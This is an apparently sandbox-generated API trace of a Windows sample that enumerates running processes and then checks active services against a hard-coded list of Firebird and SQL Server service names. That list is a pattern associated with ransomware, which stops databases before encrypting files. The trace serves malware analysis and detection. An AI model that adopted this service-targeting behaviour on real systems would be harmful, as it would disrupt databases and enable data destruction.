[0199.681] lstrlenW (lpString="wininit.exe") returned 11 [0199.681] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.682] lstrlenW (lpString="csrss.exe") returned 9 [0199.682] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.683] lstrlenW (lpString="winlogon.exe") returned 12 [0199.683] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.684] lstrlenW (lpString="services.exe") returned 12 [0199.684] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.684] lstrlenW (lpString="lsass.exe") returned 9 [0199.685] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0199.686] lstrlenW (lpString="lsm.exe") returned 7 [0199.686] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.686] lstrlenW (lpString="svchost.exe") returned 11 [0199.686] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.687] lstrlenW (lpString="svchost.exe") returned 11 [0199.687] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.688] lstrlenW (lpString="svchost.exe") returned 11 [0199.688] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.689] lstrlenW (lpString="svchost.exe") returned 11 [0199.689] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.690] lstrlenW (lpString="svchost.exe") returned 11 [0199.690] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.690] lstrlenW (lpString="audiodg.exe") returned 11 [0199.691] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.691] lstrlenW (lpString="svchost.exe") returned 11 [0199.691] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.692] lstrlenW (lpString="svchost.exe") returned 11 [0199.692] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.693] lstrlenW (lpString="dwm.exe") returned 7 [0199.693] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.694] lstrlenW (lpString="explorer.exe") returned 12 [0199.694] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.694] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.694] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.695] lstrlenW (lpString="taskhost.exe") returned 12 [0199.695] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.696] lstrlenW (lpString="svchost.exe") returned 11 [0199.696] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0199.697] lstrlenW (lpString="taskeng.exe") returned 11 [0199.697] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.698] lstrlenW (lpString="taskhost.exe") returned 12 [0199.698] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0199.698] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0199.698] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0199.699] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0199.699] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0199.700] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0199.700] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0199.701] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0199.748] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0199.749] lstrlenW (lpString="always_winds.exe") returned 16 [0199.749] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0199.750] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0199.750] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0199.750] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0199.750] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0199.751] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0199.751] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0199.752] lstrlenW (lpString="alienwed.exe") returned 12 [0199.752] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0199.752] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0199.752] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0199.753] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0199.753] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0199.754] lstrlenW (lpString="mp beginners.exe") returned 16 [0199.754] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0199.754] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0199.754] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0199.760] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0199.760] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0199.761] lstrlenW (lpString="harassment.exe") returned 14 [0199.761] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0199.762] lstrlenW (lpString="francis-communication.exe") returned 25 [0199.762] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0199.763] lstrlenW (lpString="gccinformational.exe") returned 20 [0199.763] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0199.764] lstrlenW (lpString="diploma.exe") returned 11 [0199.764] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0199.765] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0199.765] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.766] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.766] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.767] lstrlenW (lpString="svchost.exe") returned 11 [0199.767] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0199.768] lstrlenW (lpString="sppsvc.exe") returned 10 [0199.768] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.768] lstrlenW (lpString="svchost.exe") returned 11 [0199.769] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.769] lstrlenW (lpString="dllhost.exe") returned 11 [0199.769] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.770] lstrlenW (lpString="dllhost.exe") returned 11 [0199.770] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0199.772] lstrlenW (lpString="qnuriy.exe") returned 10 [0199.772] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.772] lstrlenW (lpString="cmd.exe") returned 7 [0199.773] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.773] lstrlenW (lpString="conhost.exe") returned 11 [0199.773] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0199.775] lstrlenW (lpString="mode.com") returned 8 [0199.775] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0199.776] CloseHandle (hObject=0x1a8) returned 1 [0199.776] Sleep (dwMilliseconds=0x1f4) [0200.319] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x56fcc8 [0200.320] EnumServicesStatusExW (in: hSCManager=0x56fcc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0200.320] GetLastError () returned 0xea [0200.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3946708 [0200.320] EnumServicesStatusExW (in: hSCManager=0x56fcc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3946708, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3946708, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0200.321] CloseServiceHandle (hSCObject=0x56fcc8) returned 1 [0200.321] lstrlenW (lpString="Appinfo") returned 7 [0200.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0200.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0200.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0200.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0200.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0200.321] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0200.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.321] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0200.321] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0200.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0200.321] lstrlenW (lpString="AudioSrv") returned 8 [0200.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0200.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0200.321] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0200.321] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0200.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0200.321] lstrlenW (lpString="BFE") returned 3 [0200.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0200.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0200.322] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0200.322] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0200.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0200.322] lstrlenW (lpString="CryptSvc") returned 8 [0200.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0200.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0200.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0200.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0200.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0200.323] lstrlenW (lpString="CscService") returned 10 [0200.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0200.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0200.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0200.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0200.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0200.323] lstrlenW (lpString="DcomLaunch") returned 10 [0200.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.323] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0200.323] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0200.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0200.324] lstrlenW (lpString="Dhcp") returned 4 [0200.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0200.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0200.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0200.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0200.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0200.324] lstrlenW (lpString="Dnscache") returned 8 [0200.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0200.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0200.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0200.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0200.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0200.324] lstrlenW (lpString="DPS") returned 3 [0200.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0200.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0200.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0200.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0200.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0200.324] lstrlenW (lpString="eventlog") returned 8 [0200.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0200.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0200.324] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0200.324] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0200.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0200.325] lstrlenW (lpString="EventSystem") returned 11 [0200.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0200.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0200.325] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0200.325] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0200.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0200.325] lstrlenW (lpString="FontCache") returned 9 [0200.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0200.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0200.325] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0200.325] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0200.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0200.326] lstrlenW (lpString="gpsvc") returned 5 [0200.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0200.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0200.326] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0200.326] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0200.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0200.326] lstrlenW (lpString="iphlpsvc") returned 8 [0200.326] 